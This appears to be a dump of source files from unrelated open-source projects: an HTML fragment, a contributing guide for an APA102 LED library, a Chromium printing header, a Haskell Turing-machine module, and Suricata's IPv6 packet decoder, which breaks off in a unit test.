</div><!-- end footer_inner-->
</div><!-- end footer-->
</div><!-- end main-->
</body>
</html>
|
ForAEdesWeb/AEW2
|
images/Core2Duo/020412060r42gx.html
|
HTML
|
gpl-2.0
| 68,551
|
# Contributing to apa102-pi
* Feel free to answer any questions that pop up as issues or in discussions.
* To contribute code, please make a pull request against the "develop" branch. I will review and merge the code, and release it on "main" whenever I do the next release. I will also update the release history in README.md.
## Ideas
Possible contributions:
* Test multiple strips using different chip select pins
* Simplify SPI handling, see below
## On SPI handling
All that the library needs to do with SPI is write data as quickly as possible. For this, it needs to open the SPI bus, change the bus speed, and then write the data.
To make matters slightly more complicated is the fact that some APA102 LEDs (notably the Pimoroni Blinkt!) do not use any of the physical SPI buses of the Raspberry Pi. Instead, they use two of the general purpose IO pins for MOSI and SCLK. The SPI protocol must therefore be implemented in software, which is also known as "bitbang" mode.
The Adafruit library that is used by the driver does all this nicely, and it does many more things that is not required by the driver. I believe therefore that this library is a bit of an overkill for the simple purposes that are required.
For hardware SPI, the [spidev](https://pypi.org/project/spidev) library is all that we would need. This library was used initially (before bitbang support), and it fits perfectly.
In order to go back to this library, bitbang would have to be implemented. It's not super difficult, I believe: Send bit by bit over MOSI, and toggle SCLK after every bit high/low. MISO can be ignored altogether (data is only sent, not received), and Chip Select can initially also be ignored.
So, if anyone wants to give this a go, then please try!
Once this works, some clever boilerplate needs to be added to select hardware or software SPI, and to select the proper hardware bus.
|
tinue/APA102_Pi
|
CONTRIBUTING.md
|
Markdown
|
gpl-2.0
| 1,892
|
// Copyright (c) 2011 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#ifndef PRINTING_PAGE_SETUP_H_
#define PRINTING_PAGE_SETUP_H_
#include "printing/printing_export.h"
#include "ui/gfx/rect.h"
namespace printing {
class PRINTING_EXPORT PageMargins {
public:
PageMargins();
void Clear();
bool Equals(const PageMargins& rhs) const;
int header;
int footer;
int left;
int right;
int top;
int bottom;
};
class PRINTING_EXPORT PageSetup {
public:
PageSetup();
~PageSetup();
void Clear();
bool Equals(const PageSetup& rhs) const;
void Init(const gfx::Size& physical_size, const gfx::Rect& printable_area,
int text_height);
void SetRequestedMargins(const PageMargins& requested_margins);
void ForceRequestedMargins(const PageMargins& requested_margins);
void FlipOrientation();
const gfx::Size& physical_size() const { return physical_size_; }
const gfx::Rect& overlay_area() const { return overlay_area_; }
const gfx::Rect& content_area() const { return content_area_; }
const gfx::Rect& printable_area() const { return printable_area_; }
const PageMargins& effective_margins() const {
return effective_margins_;
}
private:
void SetRequestedMarginsAndCalculateSizes(
const PageMargins& requested_margins);
void CalculateSizesWithinRect(const gfx::Rect& bounds, int text_height);
gfx::Size physical_size_;
gfx::Rect printable_area_;
gfx::Rect overlay_area_;
gfx::Rect content_area_;
PageMargins effective_margins_;
PageMargins requested_margins_;
bool forced_margins_;
int text_height_;
};
}
#endif
|
qtekfun/htcDesire820Kernel
|
external/chromium_org/printing/page_setup.h
|
C
|
gpl-2.0
| 1,774
|
{-# LANGUAGE TemplateHaskell, DeriveDataTypeable, FlexibleContexts, MultiParamTypeClasses, FlexibleInstances, UndecidableInstances, TypeSynonymInstances, ScopedTypeVariables #-}
module Turing.Type
( module Turing.Type
, module Autolib.Set
, module Autolib.FiniteMap
)
where
-- $Id$
import Autolib.Set
import Autolib.Size
import Autolib.FiniteMap
import Autolib.ToDoc
import Autolib.Reader
import Data.Typeable
import Autolib.Xml
data Bewegung = L | O | R
deriving (Eq, Ord, Typeable)
$(derives [makeReader, makeToDoc] [''Bewegung])
data TM = TM -- for challenger instances
deriving (Eq, Ord, Typeable)
$(derives [makeReader, makeToDoc] [''TM])
-- ohne methoden, soll nur die constraints aufsammeln
class ( Ord y
, Show y, Show [y]
, ToDoc y, ToDoc [y]
, Reader y, Reader [y]
, Typeable y
)
=> UM y
instance ( Ord y, Show y
, ToDoc y, ToDoc [y]
, Reader y, Reader [y]
, Typeable y
)
=> UM y
class ( UM y, UM z ) => TuringC y z
instance ( UM y, UM z ) => TuringC y z
data TuringC y z => Turing y z =
Turing { eingabealphabet :: Set y
, arbeitsalphabet :: Set y
, leerzeichen :: y
, zustandsmenge :: Set z
, tafel :: FiniteMap (y, z) (Set (y, z, Bewegung))
, startzustand :: z
, endzustandsmenge :: Set z
}
deriving ( Typeable )
$(derives [makeReader, makeToDoc] [''Turing])
instance TuringC y z => Size (Turing y z) where
size = length . unCollect' . tafel
instance Container (x, y, z) (x, (y, z)) where
label _ = "Triple"
pack (x,y,z) = (x,(y,z))
unpack (x,(y,z)) = (x,y,z)
-- | specialized instances used for finite automata (testing)
instance ( TuringC y z )
=> ToDoc (FiniteMap (y,z ) (Set (y,z,Bewegung))) where
toDocPrec p fm = docParen (p >= fcp)
$ text "collect" <+> toDocPrec fcp (unCollect' fm)
instance ( TuringC y z )
=> Reader (FiniteMap (y,z ) (Set (y,z,Bewegung))) where
atomic_readerPrec p = default_readerPrec p <|> do
guard $ p < 9
my_reserved "collect"
xys <- reader :: Parser [ (y, z, y, z, Bewegung) ]
return $ collect' xys
-- | collect transition function from list of quintuples
collect' :: ( TuringC y z )
=> [ (y, z, y, z, Bewegung) ]
-> FiniteMap (y,z ) (Set (y,z,Bewegung))
collect' pxqs = addListToFM_C union emptyFM $ do
( y, z, y', z', b ) <- pxqs
return ( (y, z), unitSet (y', z', b) )
-- | represent transition function as list of quintuples
unCollect' :: TuringC y z
=> FiniteMap (y,z ) (Set (y,z,Bewegung))
-> [ (y, z, y, z, Bewegung) ]
unCollect' fm = do
((y,z), yzbs ) <- fmToList fm
( y', z', b ) <- setToList yzbs
return ( y, z, y', z', b )
-- local variables:
-- mode: haskell
-- end:
|
Erdwolf/autotool-bonn
|
src/Turing/Type.hs
|
Haskell
|
gpl-2.0
| 2,844
|
/* Copyright (C) 2007-2013 Open Information Security Foundation
*
* You can copy, redistribute or modify this Program under the terms of
* the GNU General Public License version 2 as published by the Free
* Software Foundation.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* version 2 along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA
* 02110-1301, USA.
*/
/**
* \ingroup decode
*
* @{
*/
/**
* \file
*
* \author Victor Julien <victor@inliniac.net>
*
* Decode IPv6
*/
#include "suricata-common.h"
#include "packet-queue.h"
#include "decode.h"
#include "decode-ipv6.h"
#include "decode-icmpv6.h"
#include "decode-events.h"
#include "defrag.h"
#include "pkt-var.h"
#include "util-debug.h"
#include "util-print.h"
#include "util-unittest.h"
#include "util-profiling.h"
#include "host.h"
#define IPV6_EXTHDRS ip6eh.ip6_exthdrs
#define IPV6_EH_CNT ip6eh.ip6_exthdrs_cnt
/**
* \brief Function to decode IPv4 in IPv6 packets
*
*/
static void DecodeIPv4inIPv6(ThreadVars *tv, DecodeThreadVars *dtv, Packet *p, uint8_t *pkt, uint16_t plen, PacketQueue *pq)
{
if (unlikely(plen < IPV4_HEADER_LEN)) {
ENGINE_SET_INVALID_EVENT(p, IPV4_IN_IPV6_PKT_TOO_SMALL);
return;
}
if (IP_GET_RAW_VER(pkt) == 4) {
if (pq != NULL) {
Packet *tp = PacketTunnelPktSetup(tv, dtv, p, pkt, plen, IPPROTO_IP, pq);
if (tp != NULL) {
PKT_SET_SRC(tp, PKT_SRC_DECODER_IPV6);
/* add the tp to the packet queue. */
PacketEnqueue(pq,tp);
SCPerfCounterIncr(dtv->counter_ipv4inipv6, tv->sc_perf_pca);
return;
}
}
} else {
ENGINE_SET_EVENT(p, IPV4_IN_IPV6_WRONG_IP_VER);
}
return;
}
/**
* \brief Function to decode IPv6 in IPv6 packets
*
*/
static int DecodeIP6inIP6(ThreadVars *tv, DecodeThreadVars *dtv, Packet *p, uint8_t *pkt, uint16_t plen, PacketQueue *pq)
{
if (unlikely(plen < IPV6_HEADER_LEN)) {
ENGINE_SET_INVALID_EVENT(p, IPV6_IN_IPV6_PKT_TOO_SMALL);
return TM_ECODE_FAILED;
}
if (IP_GET_RAW_VER(pkt) == 6) {
if (unlikely(pq != NULL)) {
Packet *tp = PacketTunnelPktSetup(tv, dtv, p, pkt, plen, IPPROTO_IPV6, pq);
if (tp != NULL) {
PKT_SET_SRC(tp, PKT_SRC_DECODER_IPV6);
PacketEnqueue(pq,tp);
SCPerfCounterIncr(dtv->counter_ipv6inipv6, tv->sc_perf_pca);
}
}
} else {
ENGINE_SET_EVENT(p, IPV6_IN_IPV6_WRONG_IP_VER);
}
return TM_ECODE_OK;
}
static void
DecodeIPV6ExtHdrs(ThreadVars *tv, DecodeThreadVars *dtv, Packet *p, uint8_t *pkt, uint16_t len, PacketQueue *pq)
{
SCEnter();
uint8_t *orig_pkt = pkt;
uint8_t nh = 0; /* careful, 0 is actually a real type */
uint16_t hdrextlen;
uint16_t plen;
char dstopts = 0;
char exthdr_fh_done = 0;
nh = IPV6_GET_NH(p);
plen = len;
while(1)
{
/* No upper layer, but we do have data. Suspicious. */
if (nh == IPPROTO_NONE && plen > 0) {
ENGINE_SET_EVENT(p, IPV6_DATA_AFTER_NONE_HEADER);
SCReturn;
}
if (plen < 2) { /* minimal needed in a hdr */
SCReturn;
}
switch(nh)
{
case IPPROTO_TCP:
IPV6_SET_L4PROTO(p,nh);
DecodeTCP(tv, dtv, p, pkt, plen, pq);
SCReturn;
case IPPROTO_UDP:
IPV6_SET_L4PROTO(p,nh);
DecodeUDP(tv, dtv, p, pkt, plen, pq);
SCReturn;
case IPPROTO_ICMPV6:
IPV6_SET_L4PROTO(p,nh);
DecodeICMPV6(tv, dtv, p, pkt, plen, pq);
SCReturn;
case IPPROTO_SCTP:
IPV6_SET_L4PROTO(p,nh);
DecodeSCTP(tv, dtv, p, pkt, plen, pq);
SCReturn;
case IPPROTO_ROUTING:
IPV6_SET_L4PROTO(p,nh);
hdrextlen = 8 + (*(pkt+1) * 8); /* 8 bytes + length in 8 octet units */
SCLogDebug("hdrextlen %"PRIu8, hdrextlen);
if (hdrextlen > plen) {
ENGINE_SET_EVENT(p, IPV6_TRUNC_EXTHDR);
SCReturn;
}
if (p->IPV6_EH_CNT < IPV6_MAX_OPT)
{
p->IPV6_EXTHDRS[p->IPV6_EH_CNT].type = nh;
p->IPV6_EXTHDRS[p->IPV6_EH_CNT].next = *pkt;
p->IPV6_EXTHDRS[p->IPV6_EH_CNT].len = hdrextlen;
p->IPV6_EXTHDRS[p->IPV6_EH_CNT].data = pkt+2;
p->IPV6_EH_CNT++;
}
if (IPV6_EXTHDR_ISSET_RH(p)) {
ENGINE_SET_EVENT(p, IPV6_EXTHDR_DUPL_RH);
/* skip past this extension so we can continue parsing the rest
* of the packet */
nh = *pkt;
pkt += hdrextlen;
plen -= hdrextlen;
break;
}
IPV6_EXTHDR_SET_RH(p, pkt);
/** \todo move into own function and load on demand */
if (IPV6_EXTHDR_RH(p)->ip6rh_type == 0) {
#if 0 // XXX usused and broken, original packet is modified in the memcpy
uint8_t i;
uint8_t n = hdrextlen / 2;
/* because we devide the header len by 2 (as rfc 2460 tells us to)
* we devide the result by 8 and not 16 as the header fields are
* sized */
for (i = 0; i < (n/8) && i < sizeof(IPV6_EXTHDR_RH(p)->ip6rh0_addr)/sizeof(struct in6_addr); ++i) {
/* the address header fields are 16 bytes in size */
/** \todo do this without memcpy since it's expensive */
memcpy(&IPV6_EXTHDR_RH(p)->ip6rh0_addr[i], pkt+(i*16)+8, sizeof(IPV6_EXTHDR_RH(p)->ip6rh0_addr[i]));
}
IPV6_EXTHDR_RH(p)->ip6rh0_num_addrs = i;
#endif
ENGINE_SET_EVENT(p, IPV6_EXTHDR_RH_TYPE_0);
}
nh = *pkt;
pkt += hdrextlen;
plen -= hdrextlen;
break;
case IPPROTO_HOPOPTS:
case IPPROTO_DSTOPTS:
{
IPV6OptHAO *hao = NULL;
IPV6OptRA *ra = NULL;
IPV6OptJumbo *jumbo = NULL;
uint16_t optslen = 0;
IPV6_SET_L4PROTO(p,nh);
hdrextlen = (*(pkt+1) + 1) << 3;
if (hdrextlen > plen) {
ENGINE_SET_EVENT(p, IPV6_TRUNC_EXTHDR);
SCReturn;
}
if (p->IPV6_EH_CNT < IPV6_MAX_OPT)
{
p->IPV6_EXTHDRS[p->IPV6_EH_CNT].type = nh;
p->IPV6_EXTHDRS[p->IPV6_EH_CNT].next = *pkt;
p->IPV6_EXTHDRS[p->IPV6_EH_CNT].len = hdrextlen;
p->IPV6_EXTHDRS[p->IPV6_EH_CNT].data = pkt+2;
p->IPV6_EH_CNT++;
}
uint8_t *ptr = pkt + 2; /* +2 to go past nxthdr and len */
/* point the pointers to right structures
* in Packet. */
if (nh == IPPROTO_HOPOPTS) {
if (IPV6_EXTHDR_ISSET_HH(p)) {
ENGINE_SET_EVENT(p, IPV6_EXTHDR_DUPL_HH);
/* skip past this extension so we can continue parsing the rest
* of the packet */
nh = *pkt;
pkt += hdrextlen;
plen -= hdrextlen;
break;
}
IPV6_EXTHDR_SET_HH(p, pkt);
hao = &IPV6_EXTHDR_HH_HAO(p);
ra = &IPV6_EXTHDR_HH_RA(p);
jumbo = &IPV6_EXTHDR_HH_JUMBO(p);
optslen = ((IPV6_EXTHDR_HH(p)->ip6hh_len+1)<<3)-2;
}
else if (nh == IPPROTO_DSTOPTS)
{
if (dstopts == 0) {
IPV6_EXTHDR_SET_DH1(p, pkt);
hao = &IPV6_EXTHDR_DH1_HAO(p);
ra = &IPV6_EXTHDR_DH1_RA(p);
jumbo = &IPV6_EXTHDR_DH2_JUMBO(p);
optslen = ((IPV6_EXTHDR_DH1(p)->ip6dh_len+1)<<3)-2;
dstopts = 1;
} else if (dstopts == 1) {
IPV6_EXTHDR_SET_DH2(p, pkt);
hao = &IPV6_EXTHDR_DH2_HAO(p);
ra = &IPV6_EXTHDR_DH2_RA(p);
jumbo = &IPV6_EXTHDR_DH2_JUMBO(p);
optslen = ((IPV6_EXTHDR_DH2(p)->ip6dh_len+1)<<3)-2;
dstopts = 2;
} else {
ENGINE_SET_EVENT(p, IPV6_EXTHDR_DUPL_DH);
/* skip past this extension so we can continue parsing the rest
* of the packet */
nh = *pkt;
pkt += hdrextlen;
plen -= hdrextlen;
break;
}
}
if (optslen > plen) {
/* since the packet is long enough (we checked
* plen against hdrlen, the optlen must be malformed. */
ENGINE_SET_EVENT(p, IPV6_EXTHDR_INVALID_OPTLEN);
/* skip past this extension so we can continue parsing the rest
* of the packet */
nh = *pkt;
pkt += hdrextlen;
plen -= hdrextlen;
break;
}
/** \todo move into own function to loaded on demand */
uint16_t padn_cnt = 0;
uint16_t other_cnt = 0;
uint16_t offset = 0;
while(offset < optslen)
{
if (*ptr == IPV6OPT_PAD1)
{
padn_cnt++;
offset++;
ptr++;
continue;
}
if (offset + 1 >= optslen) {
ENGINE_SET_EVENT(p, IPV6_EXTHDR_INVALID_OPTLEN);
break;
}
/* length field for each opt */
uint8_t ip6_optlen = *(ptr + 1);
/* see if the optlen from the packet fits the total optslen */
if ((offset + 1 + ip6_optlen) > optslen) {
ENGINE_SET_EVENT(p, IPV6_EXTHDR_INVALID_OPTLEN);
break;
}
if (*ptr == IPV6OPT_PADN) /* PadN */
{
//printf("PadN option\n");
padn_cnt++;
/* a zero padN len would be weird */
if (ip6_optlen == 0)
ENGINE_SET_EVENT(p, IPV6_EXTHDR_ZERO_LEN_PADN);
}
else if (*ptr == IPV6OPT_RA) /* RA */
{
ra->ip6ra_type = *(ptr);
ra->ip6ra_len = ip6_optlen;
if (ip6_optlen < sizeof(ra->ip6ra_value)) {
ENGINE_SET_EVENT(p, IPV6_EXTHDR_INVALID_OPTLEN);
break;
}
memcpy(&ra->ip6ra_value, (ptr + 2), sizeof(ra->ip6ra_value));
ra->ip6ra_value = ntohs(ra->ip6ra_value);
//printf("RA option: type %" PRIu32 " len %" PRIu32 " value %" PRIu32 "\n",
// ra->ip6ra_type, ra->ip6ra_len, ra->ip6ra_value);
other_cnt++;
}
else if (*ptr == IPV6OPT_JUMBO) /* Jumbo */
{
jumbo->ip6j_type = *(ptr);
jumbo->ip6j_len = ip6_optlen;
if (ip6_optlen < sizeof(jumbo->ip6j_payload_len)) {
ENGINE_SET_EVENT(p, IPV6_EXTHDR_INVALID_OPTLEN);
break;
}
memcpy(&jumbo->ip6j_payload_len, (ptr+2), sizeof(jumbo->ip6j_payload_len));
jumbo->ip6j_payload_len = ntohl(jumbo->ip6j_payload_len);
//printf("Jumbo option: type %" PRIu32 " len %" PRIu32 " payload len %" PRIu32 "\n",
// jumbo->ip6j_type, jumbo->ip6j_len, jumbo->ip6j_payload_len);
}
else if (*ptr == IPV6OPT_HAO) /* HAO */
{
hao->ip6hao_type = *(ptr);
hao->ip6hao_len = ip6_optlen;
if (ip6_optlen < sizeof(hao->ip6hao_hoa)) {
ENGINE_SET_EVENT(p, IPV6_EXTHDR_INVALID_OPTLEN);
break;
}
memcpy(&hao->ip6hao_hoa, (ptr+2), sizeof(hao->ip6hao_hoa));
//printf("HAO option: type %" PRIu32 " len %" PRIu32 " ",
// hao->ip6hao_type, hao->ip6hao_len);
//char addr_buf[46];
//PrintInet(AF_INET6, (char *)&(hao->ip6hao_hoa),
// addr_buf,sizeof(addr_buf));
//printf("home addr %s\n", addr_buf);
other_cnt++;
} else {
if (nh == IPPROTO_HOPOPTS)
ENGINE_SET_EVENT(p, IPV6_HOPOPTS_UNKNOWN_OPT);
else
ENGINE_SET_EVENT(p, IPV6_DSTOPTS_UNKNOWN_OPT);
other_cnt++;
}
uint16_t optlen = (*(ptr + 1) + 2);
ptr += optlen; /* +2 for opt type and opt len fields */
offset += optlen;
}
/* flag packets that have only padding */
if (padn_cnt > 0 && other_cnt == 0) {
if (nh == IPPROTO_HOPOPTS)
ENGINE_SET_EVENT(p, IPV6_HOPOPTS_ONLY_PADDING);
else
ENGINE_SET_EVENT(p, IPV6_DSTOPTS_ONLY_PADDING);
}
nh = *pkt;
pkt += hdrextlen;
plen -= hdrextlen;
break;
}
case IPPROTO_FRAGMENT:
IPV6_SET_L4PROTO(p,nh);
/* store the offset of this extension into the packet
* past the ipv6 header. We use it in defrag for creating
* a defragmented packet without the frag header */
if (exthdr_fh_done == 0) {
p->ip6eh.fh_offset = pkt - orig_pkt;
exthdr_fh_done = 1;
}
hdrextlen = sizeof(IPV6FragHdr);
if (hdrextlen > plen) {
ENGINE_SET_EVENT(p, IPV6_TRUNC_EXTHDR);
SCReturn;
}
/* for the frag header, the length field is reserved */
if (*(pkt + 1) != 0) {
ENGINE_SET_EVENT(p, IPV6_FH_NON_ZERO_RES_FIELD);
/* non fatal, lets try to continue */
}
if(p->IPV6_EH_CNT<IPV6_MAX_OPT)
{
p->IPV6_EXTHDRS[p->IPV6_EH_CNT].type = nh;
p->IPV6_EXTHDRS[p->IPV6_EH_CNT].next = *pkt;
p->IPV6_EXTHDRS[p->IPV6_EH_CNT].len = hdrextlen;
p->IPV6_EXTHDRS[p->IPV6_EH_CNT].data = pkt+2;
p->IPV6_EH_CNT++;
}
if (IPV6_EXTHDR_ISSET_FH(p)) {
ENGINE_SET_EVENT(p, IPV6_EXTHDR_DUPL_FH);
nh = *pkt;
pkt += hdrextlen;
plen -= hdrextlen;
break;
}
/* set the header ptr first */
IPV6_EXTHDR_SET_FH(p, pkt);
/* if FH has offset 0 and no more fragments are coming, we
* parse this packet further right away, no defrag will be
* needed. It is a useless FH then though, so we do set an
* decoder event. */
if (IPV6_EXTHDR_GET_FH_FLAG(p) == 0 && IPV6_EXTHDR_GET_FH_OFFSET(p) == 0) {
ENGINE_SET_EVENT(p, IPV6_EXTHDR_USELESS_FH);
nh = *pkt;
pkt += hdrextlen;
plen -= hdrextlen;
break;
}
/* the rest is parsed upon reassembly */
p->flags |= PKT_IS_FRAGMENT;
SCReturn;
case IPPROTO_ESP:
{
IPV6_SET_L4PROTO(p,nh);
hdrextlen = sizeof(IPV6EspHdr);
if (hdrextlen > plen) {
ENGINE_SET_EVENT(p, IPV6_TRUNC_EXTHDR);
SCReturn;
}
if(p->IPV6_EH_CNT<IPV6_MAX_OPT)
{
p->IPV6_EXTHDRS[p->IPV6_EH_CNT].type = nh;
p->IPV6_EXTHDRS[p->IPV6_EH_CNT].next = IPPROTO_NONE;
p->IPV6_EXTHDRS[p->IPV6_EH_CNT].len = hdrextlen;
p->IPV6_EXTHDRS[p->IPV6_EH_CNT].data = pkt+2;
p->IPV6_EH_CNT++;
}
if (IPV6_EXTHDR_ISSET_EH(p)) {
ENGINE_SET_EVENT(p, IPV6_EXTHDR_DUPL_EH);
SCReturn;
}
IPV6_EXTHDR_SET_EH(p, pkt);
nh = IPPROTO_NONE;
pkt += hdrextlen;
plen -= hdrextlen;
break;
}
case IPPROTO_AH:
{
IPV6_SET_L4PROTO(p,nh);
/* we need the header as a minimum */
hdrextlen = sizeof(IPV6AuthHdr);
/* the payload len field is the number of extra 4 byte fields,
* IPV6AuthHdr already contains the first */
if (*(pkt+1) > 0)
hdrextlen += ((*(pkt+1) - 1) * 4);
SCLogDebug("hdrextlen %"PRIu8, hdrextlen);
if (hdrextlen > plen) {
ENGINE_SET_EVENT(p, IPV6_TRUNC_EXTHDR);
SCReturn;
}
IPV6AuthHdr *ahhdr = (IPV6AuthHdr *)pkt;
if (ahhdr->ip6ah_reserved != 0x0000) {
ENGINE_SET_EVENT(p, IPV6_EXTHDR_AH_RES_NOT_NULL);
}
if(p->IPV6_EH_CNT < IPV6_MAX_OPT)
{
p->IPV6_EXTHDRS[p->IPV6_EH_CNT].type = nh;
p->IPV6_EXTHDRS[p->IPV6_EH_CNT].next = *pkt;
p->IPV6_EXTHDRS[p->IPV6_EH_CNT].len = hdrextlen;
p->IPV6_EXTHDRS[p->IPV6_EH_CNT].data = pkt+2;
p->IPV6_EH_CNT++;
}
if (IPV6_EXTHDR_ISSET_AH(p)) {
ENGINE_SET_EVENT(p, IPV6_EXTHDR_DUPL_AH);
nh = *pkt;
pkt += hdrextlen;
plen -= hdrextlen;
break;
}
IPV6_EXTHDR_SET_AH(p, pkt);
nh = *pkt;
pkt += hdrextlen;
plen -= hdrextlen;
break;
}
case IPPROTO_IPIP:
IPV6_SET_L4PROTO(p,nh);
DecodeIPv4inIPv6(tv, dtv, p, pkt, plen, pq);
SCReturn;
/* none, last header */
case IPPROTO_NONE:
IPV6_SET_L4PROTO(p,nh);
SCReturn;
case IPPROTO_ICMP:
ENGINE_SET_EVENT(p,IPV6_WITH_ICMPV4);
SCReturn;
/* no parsing yet, just skip it */
case IPPROTO_MH:
case IPPROTO_HIP:
case IPPROTO_SHIM6:
hdrextlen = 8 + (*(pkt+1) * 8); /* 8 bytes + length in 8 octet units */
if (hdrextlen > plen) {
ENGINE_SET_EVENT(p, IPV6_TRUNC_EXTHDR);
SCReturn;
}
nh = *pkt;
pkt += hdrextlen;
plen -= hdrextlen;
break;
default:
ENGINE_SET_EVENT(p, IPV6_UNKNOWN_NEXT_HEADER);
IPV6_SET_L4PROTO(p,nh);
SCReturn;
}
}
SCReturn;
}
static int DecodeIPV6Packet (ThreadVars *tv, DecodeThreadVars *dtv, Packet *p, uint8_t *pkt, uint16_t len)
{
if (unlikely(len < IPV6_HEADER_LEN)) {
return -1;
}
if (unlikely(IP_GET_RAW_VER(pkt) != 6)) {
SCLogDebug("wrong ip version %" PRIu8 "",IP_GET_RAW_VER(pkt));
ENGINE_SET_INVALID_EVENT(p, IPV6_WRONG_IP_VER);
return -1;
}
p->ip6h = (IPV6Hdr *)pkt;
if (unlikely(len < (IPV6_HEADER_LEN + IPV6_GET_PLEN(p))))
{
ENGINE_SET_INVALID_EVENT(p, IPV6_TRUNC_PKT);
return -1;
}
SET_IPV6_SRC_ADDR(p,&p->src);
SET_IPV6_DST_ADDR(p,&p->dst);
return 0;
}
int DecodeIPV6(ThreadVars *tv, DecodeThreadVars *dtv, Packet *p, uint8_t *pkt, uint16_t len, PacketQueue *pq)
{
int ret;
SCPerfCounterIncr(dtv->counter_ipv6, tv->sc_perf_pca);
/* do the actual decoding */
ret = DecodeIPV6Packet (tv, dtv, p, pkt, len);
if (unlikely(ret < 0)) {
p->ip6h = NULL;
return TM_ECODE_FAILED;
}
#ifdef DEBUG
if (SCLogDebugEnabled()) { /* only convert the addresses if debug is really enabled */
/* debug print */
char s[46], d[46];
PrintInet(AF_INET6, (const void *)GET_IPV6_SRC_ADDR(p), s, sizeof(s));
PrintInet(AF_INET6, (const void *)GET_IPV6_DST_ADDR(p), d, sizeof(d));
SCLogDebug("IPV6 %s->%s - CLASS: %" PRIu32 " FLOW: %" PRIu32 " NH: %" PRIu32 " PLEN: %" PRIu32 " HLIM: %" PRIu32 "", s,d,
IPV6_GET_CLASS(p), IPV6_GET_FLOW(p), IPV6_GET_NH(p), IPV6_GET_PLEN(p),
IPV6_GET_HLIM(p));
}
#endif /* DEBUG */
/* now process the Ext headers and/or the L4 Layer */
switch(IPV6_GET_NH(p)) {
case IPPROTO_TCP:
IPV6_SET_L4PROTO (p, IPPROTO_TCP);
DecodeTCP(tv, dtv, p, pkt + IPV6_HEADER_LEN, IPV6_GET_PLEN(p), pq);
return TM_ECODE_OK;
case IPPROTO_UDP:
IPV6_SET_L4PROTO (p, IPPROTO_UDP);
DecodeUDP(tv, dtv, p, pkt + IPV6_HEADER_LEN, IPV6_GET_PLEN(p), pq);
return TM_ECODE_OK;
case IPPROTO_ICMPV6:
IPV6_SET_L4PROTO (p, IPPROTO_ICMPV6);
DecodeICMPV6(tv, dtv, p, pkt + IPV6_HEADER_LEN, IPV6_GET_PLEN(p), pq);
return TM_ECODE_OK;
case IPPROTO_SCTP:
IPV6_SET_L4PROTO (p, IPPROTO_SCTP);
DecodeSCTP(tv, dtv, p, pkt + IPV6_HEADER_LEN, IPV6_GET_PLEN(p), pq);
return TM_ECODE_OK;
case IPPROTO_IPIP:
IPV6_SET_L4PROTO(p, IPPROTO_IPIP);
DecodeIPv4inIPv6(tv, dtv, p, pkt + IPV6_HEADER_LEN, IPV6_GET_PLEN(p), pq);
return TM_ECODE_OK;
case IPPROTO_IPV6:
DecodeIP6inIP6(tv, dtv, p, pkt + IPV6_HEADER_LEN, IPV6_GET_PLEN(p), pq);
return TM_ECODE_OK;
case IPPROTO_FRAGMENT:
case IPPROTO_HOPOPTS:
case IPPROTO_ROUTING:
case IPPROTO_NONE:
case IPPROTO_DSTOPTS:
case IPPROTO_AH:
case IPPROTO_ESP:
case IPPROTO_MH:
case IPPROTO_HIP:
case IPPROTO_SHIM6:
DecodeIPV6ExtHdrs(tv, dtv, p, pkt + IPV6_HEADER_LEN, IPV6_GET_PLEN(p), pq);
break;
case IPPROTO_ICMP:
ENGINE_SET_EVENT(p,IPV6_WITH_ICMPV4);
break;
default:
ENGINE_SET_EVENT(p, IPV6_UNKNOWN_NEXT_HEADER);
IPV6_SET_L4PROTO (p, IPV6_GET_NH(p));
break;
}
p->proto = IPV6_GET_L4PROTO (p);
/* Pass to defragger if a fragment. */
if (IPV6_EXTHDR_ISSET_FH(p)) {
Packet *rp = Defrag(tv, dtv, p, pq);
if (rp != NULL) {
PacketEnqueue(pq,rp);
}
}
#ifdef DEBUG
if (IPV6_EXTHDR_ISSET_FH(p)) {
SCLogDebug("IPV6 FRAG - HDRLEN: %" PRIuMAX " NH: %" PRIu32 " OFFSET: %" PRIu32 " ID: %" PRIu32 "",
(uintmax_t)IPV6_EXTHDR_GET_FH_HDRLEN(p), IPV6_EXTHDR_GET_FH_NH(p),
IPV6_EXTHDR_GET_FH_OFFSET(p), IPV6_EXTHDR_GET_FH_ID(p));
}
if (IPV6_EXTHDR_ISSET_RH(p)) {
SCLogDebug("IPV6 ROUTE - HDRLEN: %" PRIu32 " NH: %" PRIu32 " TYPE: %" PRIu32 "",
IPV6_EXTHDR_GET_RH_HDRLEN(p), IPV6_EXTHDR_GET_RH_NH(p),
IPV6_EXTHDR_GET_RH_TYPE(p));
}
if (IPV6_EXTHDR_ISSET_HH(p)) {
SCLogDebug("IPV6 HOPOPT - HDRLEN: %" PRIu32 " NH: %" PRIu32 "",
IPV6_EXTHDR_GET_HH_HDRLEN(p), IPV6_EXTHDR_GET_HH_NH(p));
}
if (IPV6_EXTHDR_ISSET_DH1(p)) {
SCLogDebug("IPV6 DSTOPT1 - HDRLEN: %" PRIu32 " NH: %" PRIu32 "",
IPV6_EXTHDR_GET_DH1_HDRLEN(p), IPV6_EXTHDR_GET_DH1_NH(p));
}
if (IPV6_EXTHDR_ISSET_DH2(p)) {
SCLogDebug("IPV6 DSTOPT2 - HDRLEN: %" PRIu32 " NH: %" PRIu32 "",
IPV6_EXTHDR_GET_DH2_HDRLEN(p), IPV6_EXTHDR_GET_DH2_NH(p));
}
#endif
return TM_ECODE_OK;
}
#ifdef UNITTESTS
/**
* \test fragment decoding
*/
static int DecodeIPV6FragTest01 (void)
{
uint8_t raw_frag1[] = {
0x60, 0x0f, 0x1a, 0xcf, 0x05, 0xa8, 0x2c, 0x36, 0x20, 0x01, 0x04, 0x70, 0x00, 0x01, 0x00, 0x18,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x20, 0x01, 0x09, 0x80, 0x32, 0xb2, 0x00, 0x01,
0x2e, 0x41, 0x38, 0xff, 0xfe, 0xa7, 0xea, 0xeb, 0x06, 0x00, 0x00, 0x01, 0xdf, 0xf8, 0x11, 0xd7,
0x00, 0x50, 0xa6, 0x5c, 0xcc, 0xd7, 0x28, 0x9f, 0xc3, 0x34, 0xc6, 0x58, 0x80, 0x10, 0x20, 0x13,
